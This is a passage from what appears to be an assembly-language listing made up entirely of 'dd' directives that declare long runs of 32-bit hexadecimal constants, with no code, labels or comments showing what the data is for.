		dd 0A97BB38Bh, 19B1BAA0h, 0F406E942h, 0F432CF9Ah, 839C10Dh
		dd 49429364h, 4FDF4BF8h, 32470EE9h, 0EDF15238h,	0D04C424Bh
		dd 0D1473052h, 4E5B58C6h, 1A08256h, 7F2B3986h, 3BA0037Ah
		dd 8D81FCB1h, 8CE1B831h, 0E24F262Ch, 5B1094BFh,	0D3594809h
		dd 0B8EE3550h, 29BBB59Ah, 0E5FF4073h, 2E5C440Ch, 67B60568h
		dd 0EAF0218Ch, 94B11D05h, 0C3018237h, 0D8D048E9h, 2EE6EEB5h
		dd 0C29E49B9h, 0F4514482h, 0C902CF4Eh, 56714065h, 647D0468h
		dd 855E60BFh, 13BAACh, 0AAB7A7ACh, 6182ADF6h, 385DC141h
		dd 84BA5217h, 4E410158h, 4175DBA4h, 0EBD42B26h,	50688B43h
		dd 39184E6Ch, 12E09C3h,	5412A25h, 1606C404h, 9C01B7E4h
		dd 0D9B94A92h, 9C3C3F5Bh, 0BEB433E9h, 56DD30D2h, 534D49AEh
		dd 74EEACB0h, 7F583D79h, 0C651783Eh, 0D9A06208h, 0D8B022Eh
		dd 7C29BD68h, 50715CF4h, 0E2297F53h, 973C5E58h,	572E0F1h
		dd 9418AC01h, 2DD80173h, 0A2E90740h, 71E294CBh,	0D1903051h
		dd 0C4323251h, 45203572h, 675D6201h, 115AFE5Ch,	5681EA73h
		dd 64940F2Fh, 2816F9A5h, 0FA0F370h, 0EB30835Eh,	7FFD14FFh
		dd 59674C47h, 1888E91Bh, 0C0B5F2EEh, 116728Dh, 0D1F70AC6h
		dd 0E6684149h, 0BDDF1855h, 0F626136Dh, 2FBAD1Fh, 7B3DA3C5h
		dd 12BB782Eh, 0E4AE0CE9h, 75911552h, 2C11C601h,	847A63CDh
		dd 0A9C10064h, 0F7571C3Ch, 20E5D648h, 0E06810ECh, 514E7A5Dh
		dd 17C103C5h, 4E069F41h, 49ED8202h, 41F3011Fh, 0E6500CF5h
		dd 0B0AF4037h, 97574B0Fh, 0D2A5635Fh, 5EED3B03h, 0A12FDE0Eh
		dd 477CE821h, 0B8154084h, 29994A8h, 3690245Ch, 0A725F631h
		dd 992A6553h, 0F590527Fh, 6807F085h, 40F46222h,	4F9A0CEFh
		dd 8078F11Bh, 0DF06FD6Eh, 6DC57A52h, 72C931A1h,	0BD5A33FCh
		dd 17C88D30h, 70449896h, 997D9DECh, 477033DEh, 9B9C44C5h
		dd 3028FFDBh, 10EB2F68h, 0A14AE98h, 0C60B1891h,	69A00F85h
		dd 2036A654h, 5D9A2E0Eh, 786D41FBh, 0E3FC6018h,	0F743060Bh
		dd 0CB7F20D3h, 61153332h, 0FDA4C41h, 400329B2h,	0D98006F9h
		dd 71D41779h, 7794C7D1h, 807004F4h, 1C38EFB8h, 25E92D0Ah
		dd 4047C527h, 0CC9B6E82h
		dd 4561373Dh, 2FDFE293h, 2A54FDA2h, 60981AE6h, 7E0534Ch
		dd 4B6776EAh, 741504C9h, 0CB2BE1F1h, 394B7F93h,	12F753B4h
		dd 5FB468F9h, 1F584B2Ch, 0AA26F5C9h, 0DEA08A91h, 0BB7C7617h
		dd 398358h, 46054048h, 9056ADEBh, 0F62D404Fh, 0F380DB1Dh
		dd 9DB5510Fh, 2ABAC59Fh, 5F26CBDCh, 1842EA58h, 0C0FFC64Ch
		dd 857D8E64h, 0D0256862h, 0E07F9B07h, 90353E4Bh, 6B176AB8h
		dd 66010159h, 2AC5FE59h, 5120CE87h, 70B745B1h, 5ACF7E40h
		dd 2DB72352h, 23F214D8h, 0D31212B9h, 8D855C13h,	0D82A097h
		dd 0F1A548FDh, 3F2F16CEh, 0E5F8A5C7h, 0D0999241h, 0DBD3530Ah
		dd 0E4E6308Fh, 590B403Fh, 0E017B43Bh, 4601C6BFh, 0F49EE944h
		dd 9936062h, 75FAB38Ch,	71C7CB27h, 58540B1Dh, 0EA103F04h
		dd 3AC45229h, 2CF83A28h, 0B7B65201h, 6EC191E9h,	125A7188h
		dd 1B41ABCh, 0F32C4115h, 6F188755h, 0A1ABD5F4h,	0CB073FAh
		dd 0FC38132Eh, 18CC5F51h, 175E80C8h, 27AD23F1h,	0A8345B9Ah
		dd 5BD0891Dh, 1BBB406Ah, 89A5DAA1h, 0EE00C59Ch,	6DB57D63h
		dd 8AA0ED01h, 0B70B9008h, 0D11E5B8Bh, 4DBA60B7h, 578E5C58h
		dd 27D8E702h, 86DD7124h, 3FE2C708h, 1792599h, 6C172E82h
		dd 2AD090E9h, 0CBD03524h, 0E55A30B3h, 0E135EBFDh, 4677BC02h
		dd 421D25BCh, 554CFD6Eh, 86AC4C9Bh, 4BA2D589h, 0E98591C7h
		dd 75707862h, 0A998430h, 0E6C72966h, 0EE47EA58h, 1F209E4Fh
		dd 2815D02h, 6BE9FCACh,	0B507ED56h, 0D16780CBh,	5D5EEB07h
		dd 7B8B8965h, 0FB3A8BD0h, 5D51087Eh, 1B1073Ah, 0F6046FEBh
		dd 67941446h, 0D8049C4Eh, 0BF1CAC2h, 49D26E13h,	0D735E109h
		dd 1E7C3CC9h, 1F0FDB9Fh, 0BAEC74EFh, 0AA392720h, 0B0FC4BDAh
		dd 0FB1E31EEh, 5B56015Fh, 352FFF04h, 92070212h,	7E56CDFEh
		dd 80D5F609h, 8852740Eh, 0D970E5EAh, 0DE0ECF59h, 16F6F42Eh
		dd 0B1A5B9FAh, 9405EEABh, 0B988C1E8h, 8BBB78D9h, 176AE55Ch
		dd 89FEAD57h, 5996A46Ah, 635FDAA4h, 2FC6DD03h, 0E8DC82E3h
		dd 57FCA480h, 6E832D38h, 0D8290686h, 14445A02h,	0C1432B68h
		dd 3E2C07F7h, 5A310CDFh, 7E5DE79h, 0C66E88A2h, 0F744DC58h
		dd 0E9D99165h, 0B5F950AEh, 0E5328016h, 88FB0622h, 0A504A1A6h
		dd 4EC1E808h, 0BF0518F5h, 0FD87B705h, 5755D707h, 0FBD19E3h
		dd 0C885B70h, 258CF9D3h, 596309F0h, 5E9C30Eh, 98872150h
		dd 0E1A842D3h, 5C12BF1h, 9220C3CDh, 0D9025A05h,	3F880CA1h
		dd 0D8F36C4Ah, 0B857EC16h, 0E2568E8Ch, 416D1768h, 79D85FD9h
		dd 5BDB25C1h, 16C01879h, 2E2C0A15h, 17ACFE01h, 7C258A17h
		dd 450D5364h, 77C74F82h, 0F557A514h, 18B55E30h,	98FF2BCCh
		dd 9F40B718h, 72B4EF07h, 586B544Bh, 905BD55h, 45585766h
		dd 0E01C52BFh, 1D06C9DEh, 0EDD1041Fh, 3D340110h, 85E9AE9Fh
		dd 0E15992B7h, 0A60F5971h, 5EF23100h, 344EC3F0h, 0D83F04CDh
		dd 4444511Fh, 1600B0E5h, 0F10B40D8h, 28806B41h,	97398D37h
		dd 591B5B80h, 0CE5C09DEh, 3C9545C7h, 0F5CA143h,	4AA768FCh
		dd 10BBA328h, 815B970Ch, 24A36C61h, 735B6471h, 8FE89899h
		dd 5AE6B519h, 460C9A4Fh, 9A77B987h, 0CF799E47h,	0D296DA85h
		dd 7F7BC1FBh, 0E98FE942h, 0AC4445B0h, 0BDF3D7B5h, 4904A7F0h
		dd 0B25E8289h, 1FE98432h, 8A4A99ECh, 3B277E81h,	5BC090A7h
		dd 14192A68h, 752F9A70h, 51802C6Fh, 7EB1478h, 79E95F0Ch
		dd 0F70140C3h, 336E0DD0h, 14204F0Bh, 7E780B16h,	0B5D6050Eh
		dd 33042992h, 5809C93Fh, 0EE64C0D1h, 5BC58225h,	0F2D4BCACh
		dd 80739809h, 3D90F1Fh,	88316CD9h, 0BA015AD1h, 0DB785569h
		dd 68854F2Dh, 0D373BC9Eh, 2DD77B73h, 11EAFB40h,	0F5748609h
		dd 76B8DF5Ah, 0C18222AAh, 0B14BDAE3h, 8B74A24Bh, 0A4C07B2Dh
		dd 0CD33A416h, 8B2328CEh, 0C4BAC43h, 7C9541C3h,	0FE304EA6h
		dd 0B8E971B6h, 0ACA9B123h, 4E0B097Ch, 86C2E2DCh, 0EA2E5C3Bh
		dd 0C88DA93Fh, 9E880BC1h, 0EC10FE59h, 0FCF477C5h, 9E0CE6F0h
		dd 0B226A0F2h, 313C0B77h, 0A70F1036h, 1E495037h, 0E8C385E4h
		dd 7BF65A1Ch, 0E958E161h, 5ECA7859h, 780CEB1h, 75FDE681h
		dd 83255A67h, 37AEE0C6h, 0B4D80673h, 0D85DEE31h, 0CCC2304Eh
		dd 4B067158h, 0F727EB46h, 107046F1h, 40CCCE9h, 29B6866h
		dd 5CB1E888h, 262E4A15h, 0E99A0679h, 68165167h,	4D344407h
		dd 73308280h, 6965B0E2h, 0D1D60B34h, 92ACEF96h,	420CB1A4h
		dd 0FE09F0D8h, 47894E06h, 524110F6h, 0B96892E9h, 0B3875F19h
		dd 11007ACBh, 955185BBh, 43BF0565h, 82EF6FE2h, 6E68D7CAh
		dd 0F58A6A46h, 2CDAEEA2h, 78C9A909h, 24E99F78h,	0B7736A9Ah
		dd 7CD8C479h, 3F1641B9h, 4C0675C6h, 4527E303h, 94576A18h
		dd 181C37C9h, 36FB68Ah,	5366CEFEh, 828513B7h, 1E693484h
		dd 41E6D8ACh, 0F22B13B7h, 86E9A16Fh, 0DDCB80F1h, 171CD107h
		dd 0D13710E2h, 21E9706Bh, 295DE89Fh, 285B9542h,	0F2016662h
		dd 93F420C9h, 0A7048176h, 89414208h, 0B846AACh,	947144Ah
		dd 879A77A2h, 0EBD2E55Dh, 577269DEh, 49EF3C98h,	360F3FC9h
		dd 9E833073h, 5ED9F78Ch, 0EB041851h, 5CAB0C0Eh,	1333F0Ah
		dd 2812D2CDh, 0E52C0C47h, 315D050Bh, 0BD08A0h, 1F7739C6h
		dd 8474B7BEh, 9CE1D25Ah, 144BD078h, 4E01D20Ah, 68776251h
		dd 3854F255h, 0F7B27267h, 6078FE31h, 0DD42DF05h, 58C22D4Ch
		dd 38A54AB2h, 0B4134170h, 0C9E19FD6h, 0BD4A0946h, 0D484A477h
		dd 0CB97EF0h, 347C0F71h, 5024AFCh, 65E94C84h, 69E2D62Fh
		dd 0E9468505h, 4CDC1020h, 2F805E28h, 0E949FBD8h, 1C4B6F58h
		dd 15285966h, 572DD420h, 0A95ECA0Bh, 0CE1AB6A4h, 988033Dh
		dd 0DCAAD2CBh, 56E6927Eh, 0F7B24188h, 0E4DF87D3h, 81D33D91h
		dd 0D0980591h, 3A14DD6Fh, 4EA6B1D8h, 500C6013h,	177827B8h
		dd 3A05571Ch, 5C044DD2h, 0C5BCAEB9h, 779868C2h,	137BC068h
		dd 7CC49AB5h, 0CAD042EBh, 0B9F0DCh, 4A618C50h, 32C1D2F7h
		dd 60604E2h, 0B56AA3C0h, 29653F10h, 7B12950h, 21E77C97h
		dd 1AE272CDh, 0AC82AB54h, 60514003h, 58105B4h, 0F970B4CEh
		dd 0C618A40Dh, 0C5AE0901h, 0E9F529B2h, 346F10FDh, 68EE800Dh
		dd 0C3C66ADCh, 250B03E4h, 62C89255h, 0E18E5BEh,	86523273h
		dd 1A6C2E6Fh, 210D8413h, 8DF2C34Ch, 823984E1h, 0CE112A18h
		dd 1780F54Eh, 0B951FA01h, 801C373Dh, 0DAEA8167h, 9F50A574h
		dd 4C23685h, 90EDE908h,	2CF028BFh, 0C2D88C52h, 5F95B252h
		dd 0C8E98281h, 2E47272Ah, 0B983CAB4h, 0E4E823A0h, 7EFC6080h
		dd 0C1472498h, 0FF43C8Ah, 496137B4h, 32AAF1E0h,	0CC11EBBh
		dd 58D48759h, 16FE225h,	0C46DD63Dh, 1DB5EB16h, 760FC389h
		dd 0FEEEF736h, 4E2E510Fh, 9D84172Dh, 60CC880Bh,	4EE95EAFh
		dd 0A3711284h, 0C946487Bh, 5E502434h, 0BD1F01BBh, 215A3C3Bh
		dd 0B9D1200Ch, 0C5FB276Eh, 0C2E9CB3Dh, 0AF546089h, 1F622550h
		dd 0AE13F55Fh, 7B2A8079h, 1F812D58h, 161D4A2Dh,	2E871722h
		dd 0F80A0979h, 0FAF7571h, 0BB30F75Ah, 25E9F9F7h, 5090DE08h
		dd 8D07B652h, 0F328C5B3h, 0CE90F8F4h, 2570992Dh, 99F21DD2h
		dd 0B4304120h, 0DD1D3963h, 521B1F74h, 517046BEh, 5951E0F7h
		dd 0E240D4C9h, 4F8A4B4Ch, 58505063h, 7FC64229h,	0E34C5D45h
		dd 0C4352756h, 4C70B8E7h, 0C800AB52h, 5563C75Ah, 7516BE68h
		dd 6AC0659Eh, 1328E50Eh, 1EA89FEh, 15FFAC7h, 113720D6h
		dd 6BB900E3h, 72E2623Eh
		dd 0BB01287Dh, 94E31062h, 18FC1180h, 5B7E7864h,	0EFDCD1B7h
		dd 6351FC74h, 1003098h,	2D7E2744h, 2C1A7933h, 247400Ah
		dd 0B87568Ch, 83092F58h, 40549913h, 9C41A5D6h, 0B12D646Ah
		dd 0C68A6F6Dh, 6BCD094Bh, 5DD6C7A9h, 173CD627h,	0B18FA83Bh
		dd 84055102h, 84E1BC86h, 0C240EE09h, 5A36C7C4h,	0AEEF86AAh
		dd 3733E984h, 5DDE5C0Bh, 6E2DDC7h, 0E8794A9Dh, 8240E82Eh
		dd 343DD680h, 0C2DD6795h, 339731AEh, 31845A7h, 5EC59D90h
		dd 6930361Eh, 592D73DFh, 8896BC8Bh, 327DD1E1h, 0C15602DBh
		dd 0BB00FC1Eh, 861E708Fh, 0CDC9430Eh, 88D6A9ACh, 65A6AFE7h
		dd 78FDF616h, 838EBB5Dh, 174D3BF0h, 0E8EC3226h,	0EB43D1A4h
		dd 860104A0h, 82C2122h,	2CD94420h, 70C44Dh, 0F3815FFBh
		dd 0BC3B349Fh, 7C3001Bh, 4321600Bh, 0C2EB77C1h,	329F3C14h
		dd 20D98CC1h, 0ECB70478h, 8A42F447h, 4554AF75h,	0D5360381h
		dd 2EF51778h, 0EF5B00E8h, 0EC8CBB20h, 257CE919h, 9D60F129h
		dd 3A5C81D7h, 30FC173Dh, 0CB3E7AE9h, 4CF45D28h,	314E0269h
		dd 0FE1B7DDFh, 0B5E7185Ah, 0A8C3274Bh, 564F171Ah, 41AB080Ah
		dd 67F05B13h, 427614E5h, 2A12AA90h, 820FB3E2h, 0C259EE28h
		dd 0D6FB0222h, 0AC120EC0h, 9818A36Ah, 78D0DDC9h, 77C107E1h
		dd 0E1E6B753h, 0C2682AEFh, 88052989h, 89CBBD8Ah, 60127AE1h
		dd 40589C06h, 0E4ED52B7h, 822F35C4h, 569E41EBh,	4E015870h
		dd 0B01B7FBh, 0FC02EA83h, 0AFC84921h, 0C4949ED3h, 0DDB00169h
		dd 90D7F680h, 78B551DEh, 2AED1B69h, 1C62F020h, 66D62B66h
		dd 5B2C81CCh, 0BE83B13Ch, 30D268C8h, 859699DDh,	592DA52Ch
		dd 0E8DCDCA3h, 8CC1B103h, 0B03C5A28h, 3D1BB7E1h, 60F62A4Dh
		dd 668B1205h, 95690Ch, 17104C1Ah, 5CBB057Bh, 96DC0A36h
		dd 0AA0F4885h, 324A775Fh, 80CA084h, 17DC1E5Bh, 17A7DEB4h
		dd 51B0820Dh, 0EE454655h, 7AD81D68h, 8B0F2C2Dh,	830F5F50h
		dd 0FAC1CCBCh, 8B9558B0h, 125CD6C1h, 0B45FB17Ch, 0B9C30414h
		dd 0C7D902E0h, 65F26412h, 398D241h, 0C288AB80h,	558A6AC3h
		dd 18A1C944h, 178C7BDFh, 84E26380h, 0AE845DB0h,	0C06B5C2Dh
		dd 68526670h, 0D958AB2Fh, 1A3888CAh, 0C014B161h, 24806D30h
		dd 314874F1h, 20F8E162h, 18C3C353h, 9F8853CBh, 66E9D821h
		dd 0C10CE668h, 80607E3h, 0FC0959B8h, 0BCEF47Fh,	7A8A09C9h
		dd 0ADED4AC7h, 0F15B258Ch, 0A829927Dh, 588C04AAh, 0BFBC1B80h
		dd 2727684h, 0DC438DE9h, 5D928264h, 0DAF06C73h,	8C84685Eh
		dd 597B97F3h, 0F6197DE5h, 709FC6D1h, 3ABB4A1Ah,	0FB320B3Ah
		dd 0BB5E000Bh, 0B010A00Eh, 67341783h, 4461363h,	0E8D8E9C3h
		dd 735757Fh, 28FE0A8Dh,	51955CBAh, 0DC74722Eh, 18CE142h
		dd 200BEE80h, 3CF69AA0h, 1B2DEFB6h, 0F21BD901h,	39792CA5h
		dd 0F1240EACh, 8E75942h, 1A843BA0h, 82DC8850h, 3855B4FEh
		dd 9D595A86h, 2597D64h,	0C78EC42Ah, 68C2FBECh, 0FCCC719Dh
		dd 180CBEEh, 64EAA2F5h,	0EEDCE980h, 232C12E0h, 481A534h
		dd 3B95AE08h, 0EB1C61FEh, 27540C14h, 1DDA12E9h,	4E5DEE17h
		dd 6BA6D200h, 1750222Ch, 20961EE9h, 5A1F3D69h, 9570727h
		dd 9DF05EDDh, 0A5DED7E9h, 0A1DC6FBDh, 513C4ED2h, 0C15AC100h
		dd 0D0310B98h, 52EB2D68h, 91D03986h, 36B0585Eh,	0DECE0581h
		dd 804B6F44h, 3C16CDA6h, 0E0092027h, 13FBF698h,	566F7F57h
		dd 0E52E8D39h, 0ABCB7ED3h, 2894872Dh, 75F286B4h, 4255DC92h
		dd 0D968DCC5h, 0A4136E5Ch, 4D8992B2h, 34B8EC40h, 26E4653Fh
		dd 95157940h, 5B5F12EFh, 0ECF80709h, 2466B7C8h,	866A3891h
		dd 0C9675CDAh, 0C69FBD50h, 0A5E92F7Ah, 0D2009751h, 153D441h
		dd 80CD98F9h, 24685F08h, 0C44830BEh, 0E116BFBBh, 996D3B3h
		dd 81CA8C93h, 2D808DF6h, 586F1AAAh, 5D02829h, 0E4A5A107h
		dd 0D6692Dh, 0FEB85007h, 4B5DA548h, 6522510Fh, 799B68CBh
		dd 29F6704Dh, 0C13EF55Eh, 818AEF20h, 0D880EB66h, 0DAF6B32Ch
		dd 0C16DD560h, 2DAD0D14h, 0C6B5B31h, 0C4A430D1h, 0C84C21FFh
		dd 3BCD4502h, 0B9367B69h, 8E0AE90Bh, 0D5825359h, 7C796Eh
		dd 66D34DD6h, 55B95100h, 0E9643702h, 453E4F84h,	0FAAAC7A6h
		dd 0A9BE5A38h, 0EB85F208h, 644893E9h, 1F8CC1C3h, 0EF4592F3h
		dd 618683A8h, 0B50016BFh, 5BFD3017h, 0FA2FC580h, 0A3255B43h
		dd 0E30D1622h, 0ABF2088h, 385B1C7Ah, 0C5BBE07Bh, 0D1EAE04Ah
		dd 0E94BE305h, 0A7F9A82Ch, 0E828E443h, 47A22058h, 0A5EB083Bh
		dd 5D51E228h, 48B457BCh, 0EA059BA0h, 41453977h,	74E904C3h
		dd 3253250Fh, 5AFA3C56h, 77FF27A0h, 9BDE2029h, 0C5074A53h
		dd 0C0955013h, 0BEC184A4h, 74284407h, 0E7810EF0h, 764573D7h
		dd 4F71E4Bh, 0B10A9744h, 82D23E32h, 0BC04D8D9h,	0C559671Ch
		dd 6038B1E8h, 80037CF7h, 0F328AEC6h, 3573F15Ah,	939CCC3Ah
		dd 502904B5h, 191BE2BCh, 8E0410B0h, 23514087h, 467F00C1h
		dd 22069C1h, 8CF1FB02h,	0EC97C52Fh, 5AE9C35Eh, 53401D89h
		dd 80B9D25Eh, 7EAC023h,	0F52C8073h, 8C09F730h, 3C5351D3h
		dd 0A709292Fh, 35CC8155h, 0E031020Ah, 0CBBEC46Eh, 0D3235A3Ah
		dd 0B6735F21h, 0DF163D2Eh, 0D33AFCB7h, 1FD707C4h, 41E083A1h
		dd 923392BCh, 0D3F73491h, 6100FA0Bh, 0E52DC65Ch, 55D5A229h
		dd 0D5FB2F22h, 9013265h, 0F2840FC9h, 680C9B38h,	770B394Dh
		dd 9A3344Fh, 4A37FA4Dh,	0A8F62F7Dh, 9121B4F1h, 0EB54B670h
		dd 5C7A2DE9h, 0E7913313h, 24E8DE10h, 0C3C685Bh,	0E278AB6Fh
		dd 3199404Ah, 5E6BF566h, 0C78B955Bh, 0F9EE0100h, 1271857h
		dd 0B1B4A5EAh, 881742FCh, 123914D7h, 89CC9716h,	0FEC81120h
		dd 0FDCAC9C2h, 7A9F3510h, 2C68973Ch, 895F78CBh,	19D94D8Ch
		dd 13BCF9AFh, 585F0455h, 0CFFA1ECBh, 9C7C0C31h,	37F16580h
		dd 572F1D08h, 0E6090DB0h, 586A0238h, 2D5DA002h,	0A0124866h
		dd 0E64F703h, 0CFE07F5Eh, 782D1E97h, 2DEEF21Ch,	8E64DBE0h
		dd 154B5C79h, 985A6AF4h, 7CC90F40h, 38AB693Fh, 0DEF72F23h
		dd 3BBA0451h, 0B5C94E17h, 0E2BD9544h, 21AC0C60h, 0A780743Bh
		dd 6C23307Fh, 0A87142A0h, 5187260h, 0B8071634h,	504B61FEh
		dd 0FCFED5BAh, 0EB0681B8h, 0C212623h, 0F050B0Ch, 4989448Eh
		dd 34080688h, 0F414160Ch, 0C84137B0h, 608FEB40h, 0F3127B89h
		dd 3114A13Ch, 0C684F8EBh, 0EBEC16E2h, 381421Eh,	5D3E52F1h
		dd 5079F2B0h, 0C0D2696Eh, 32C34B9Ah, 0E9D30A29h, 82CAE588h
		dd 0A445FACDh, 0D399A284h, 0BBFCD146h, 38857290h, 0C1575F7Dh
		dd 69288996h, 40AF051Bh, 0E5004EB8h, 6E75699Fh,	0E4B325E9h
		dd 66566619h, 2714501Dh, 12358D4Fh, 0E9D671AAh,	55D62466h
		dd 0D4478F26h, 0B78E2C64h, 0E1D3F51h, 5F14CF6Ah, 0E3973DF2h
		dd 17F45255h, 0B4B288F3h, 4BC540h, 567DE6Dh, 7BDB3C5Eh
		dd 56F80118h, 26A21Ch, 0AFBE2349h, 8154B775h, 9A7F605h
		dd 5BB168Bh, 1D6F7F6h, 947CCE95h, 0ABD0EE04h, 0E7AC606h
		dd 94A71E5h, 9028ABB7h,	8C8C6856h, 1EB1B61Eh, 4CCE30F9h
		dd 0BD123C6Bh, 6856C50Fh, 0E039495Bh, 3C645CF7h, 6D990288h
		dd 2B58C086h, 0C23A4E91h, 6043392Fh, 1A1D72B3h,	0E0AD78BEh
		dd 0FC1D172Ah, 2D089721h, 0A4581607h, 1E12B05Eh, 6E03719Ch
		dd 0D58792EDh, 89B213EBh, 0D4B80A1h, 0E949BC38h, 0E8EBA96h
		dd 65B05066h, 0C00BBB12h, 3B58728h, 0C4BF0128h,	0E84AF527h
		dd 0A2B5A7CFh, 0FCC9C58Dh
		dd 0FBCE40D1h, 0F5907C71h, 4494009h, 9E66003Dh,	586B1732h
		dd 1125974Dh, 18EBC6D4h, 954156D5h, 6EA88D51h, 29051B9Eh
		dd 0D9A85DEBh, 14C0CA41h, 1B9104Eh, 0B9E27FBh, 3C845273h
		dd 8A79D057h, 79AD3DD9h, 63BB61EFh, 49842041h, 0C25FFE40h
		dd 4668EA66h, 1A3F00FFh, 0B7B8B997h, 96DD6AE2h,	96EB7686h
		dd 0B3E54910h, 0B0312CBEh, 1C06B345h, 0A20601EEh, 21658F2h
		dd 28CC1579h, 0A5FDF131h, 0B9976A2Ch, 1872F0A7h, 0A1A452A5h
		dd 223F9524h, 22C2527Fh, 0DB2533D6h, 2CC83E71h,	7B056601h
		dd 30D0F702h, 3013CB1Ah, 0F7E90DF0h, 0D601B2Dh,	100A54BDh
		dd 0BF89231Fh, 4F09402Fh, 2094EE9h, 2C6E682Bh, 0B5885FD1h
		dd 81782F37h, 642F4700h, 61E0B951h, 81490053h, 0C33D7C9h
		dd 0D933F704h, 0A0C11441h, 0C02FB14Eh, 0F437520Ch, 0CD3F3163h
		dd 0A3E58359h, 7301755Dh, 29CDCC4Ah, 0A41CF51Fh, 0A63E6154h
		dd 0CF1013E9h, 0B3325072h, 5A0CDF84h, 0E02B0BAEh, 0EA028805h
		dd 3CFEC674h, 78BCD222h, 0DC4769BCh, 1E93BC5Fh,	0E7F845A3h
		dd 79B70102h, 8254F849h, 0D373390Ch, 309EC005h,	75252871h
		dd 0D05855A1h, 0B8645F2Dh, 803513D1h, 2C487882h, 0C5F2526Ch
		dd 764A5EF2h, 350C98Ah,	87718290h, 14BFD308h, 4B05C853h
		dd 5D39016Ch, 344EEEE7h, 7984BFBDh, 1B098580h, 8114018Ch
		dd 5B4F4CCAh, 43803B39h, 99499F68h, 598EB051h, 0A33627Ch
		dd 3B08245Ah, 0AC01812Bh, 52D1C714h, 7F09FD5Bh,	58875E98h
		dd 977F66EAh, 5A4C5CC6h, 8A06172Ah, 5B2DB1B3h, 8B8B0885h
		dd 0AC14104Ah, 185B9A50h, 0C210972h, 0CE056F8Eh, 202DE943h
		dd 878E5CAAh, 0B23CF1B8h, 0CC5FEA24h, 74AF2196h, 575E5480h
		dd 9129C4E9h, 2BEC8EEh,	3EE9E8B2h, 35003EDEh, 9B5DAE74h
		dd 0D4389529h, 8360BAE9h, 444EBE6Eh, 12B2DFDh, 0A808DBD1h
		dd 71532DA6h, 2DC9103Eh, 58CCB05Fh, 0EDF76964h,	0B90121E8h
		dd 1D607F9Eh, 0F5E2EFD1h, 0CDDDC85Fh, 0C10A2E1Eh, 425012CBh
		dd 31C5BEC9h, 20E6F169h, 9216F655h, 0D9B1B533h,	1BD0A1D7h
		dd 0AC7D132Fh, 0DA893C64h, 1516E5A3h, 0CD3CF4A3h, 40FAD1E7h
		dd 275F5F8h, 2E708524h,	28E9508Fh, 0E80E38C7h, 0C8025966h
		dd 3440A72Ch, 5662E289h, 0D5CCC426h, 585EC59Eh,	0D69C87A7h
		dd 524AC8E7h, 0C3BC7B95h, 0E88C5568h, 0F1DCC4B2h, 0C62B0412h
		dd 29AC8308h, 5AD5F909h, 5D93C921h, 683AF835h, 0E800C1E9h
		dd 95C8310Eh, 950B53E9h, 462F0559h, 5A20FCBEh, 3559202h
		dd 4902444Ah, 9FBD3h, 886C4CCBh, 3F7AB012h, 0E91D8702h
		dd 0CB912FF4h, 4E57C62Dh, 0A168186Ch, 0DCA56B41h, 5F937391h
		dd 2C5044F8h, 2E5D810Eh, 0F54C99F3h, 0AD449A24h, 38A7BF41h
		dd 7658258Fh, 0C1BEE541h, 2FB1290Fh, 307BE1A7h,	5E3605F7h
		dd 1394EA01h, 58825E6Bh, 0C2A88236h, 0CCF070B5h, 0C93F146Fh
		dd 0E74F9144h, 1DC76030h, 0A867D90Dh, 3EDC2A9Eh, 0B9444EB2h
		dd 3AFC1320h, 0F50622AAh, 0F6F10CC0h, 0F49508B7h, 3AF09619h
		dd 14D83460h, 89616410h, 0BA81794Ch, 0E9371A73h, 0E675F24Ah
		dd 0D6AD278Bh, 1E8C0C79h, 27806C21h, 0CAF0DCF1h, 0E7884F93h
		dd 0A94EBBFFh, 7F78695Ah, 1A5F66A6h, 6AD1A309h,	817578FDh
		dd 882802BEh, 907D66F2h, 808146AEh, 58128968h, 4FA64ABh
		dd 0AB822268h, 29BE3135h, 0C40CA728h, 92012FA7h, 0DD208E46h
		dd 2D3EBCF3h, 802749CCh, 0B74C0EBh, 0A83B27E9h,	598083EAh
		dd 27D21ADAh, 0E3814B0Eh, 0E1618BE8h, 0F5200687h, 0F43181DFh
		dd 0C72E895Dh, 42A5DF58h, 405D8458h, 0BF37B344h, 9982C727h
		dd 0CA20D7CEh, 1101C92Dh, 3F050C02h, 5D79495Bh,	0D81629C7h
		dd 7885DD84h, 0C06C01EEh, 20742805h, 8A964920h,	0F38B9327h
		dd 387A90ACh, 2DE82829h, 0B35D4E07h, 97A4D200h,	104E380h
		dd 743DEAE9h, 0FD6721C6h, 5A5B7908h, 0E25F5ED3h, 97A2505Eh
		dd 6C7AC379h, 82FAE826h, 0C1B4635Dh, 58721186h,	0AFD36684h
		dd 80320891h, 120A8B7Ah, 3570ED83h, 0B53930E9h,	0AFC1C513h
		dd 0D36D89CAh, 0B971455Ah, 7A5AD6A5h, 0CF2D5209h, 6DC8805h
		dd 0BE5A5E00h, 0B001A840h, 0C4C60915h, 0AF02F60Bh, 3A739CCCh
		dd 40478F85h, 435BCC8Ch, 70E90B25h, 780AFADCh, 0EBB42E02h
		dd 7FBE88F0h, 0B8DA5B1Eh, 69B1570Dh, 6369D568h,	785801h
		dd 157F7E58h, 0BA8FC3E9h, 1E280EDh, 17AB78FDh, 9C1C5721h
		dd 61C48863h, 0D2AE0D68h, 37D3D49Fh, 5C36A209h,	0F181806Dh
		dd 6BD14D86h, 0C5BF5705h, 881F5F2Dh, 431275C4h,	9DCF49C0h
		dd 0B86CE43Bh, 0CEE400Ah, 0FD349A07h, 7267CB04h, 0C128B540h
		dd 8700BF58h, 39E944B0h, 0E688905Fh, 3E2D2568h,	92BC1EF9h
		dd 38AB1BC4h, 0BB5EB9F5h, 4E542E23h, 6106F5EDh,	14D82B85h
		dd 0AC5956CEh, 1A79E909h, 0D2E25E20h, 1D018941h, 4816BE56h
		dd 0FB404764h, 12591A7Fh, 8D6F71Bh, 0D7269DBEh,	1360DA27h
		dd 13D3215Bh, 8D5ED13Ah, 0FAB800E3h, 172C0F1Dh,	6084D0F7h
		dd 7704129Bh, 49AB2A74h, 20D7F3BDh, 5F0958A4h, 49499F1Ch
		dd 60352589h, 0CF4D9AEAh, 7EA286E4h, 4BB9B510h,	0FB501202h
		dd 9DE905F3h, 0A2EEF87Eh, 0CBCC80Ah, 323414BFh,	8039D330h
		dd 0C5967FBFh, 2A7D9BCh, 0E76411E1h, 66555F6Bh,	0F187047Ch
		dd 8D6F6668h, 0B5D46E81h, 0ABA3BD44h, 113862D0h, 0E8324AEFh
		dd 545F7D35h, 37BB79D5h, 31D3F6F4h, 0CE006F82h,	132C5875h
		dd 0DE0C5398h, 0C69111Ch, 0D52B26B5h, 17340964h, 7EC287D4h
		dd 31BE05CDh, 4884FE81h, 621A3D8Ch, 7203F4h, 29AE7CCDh
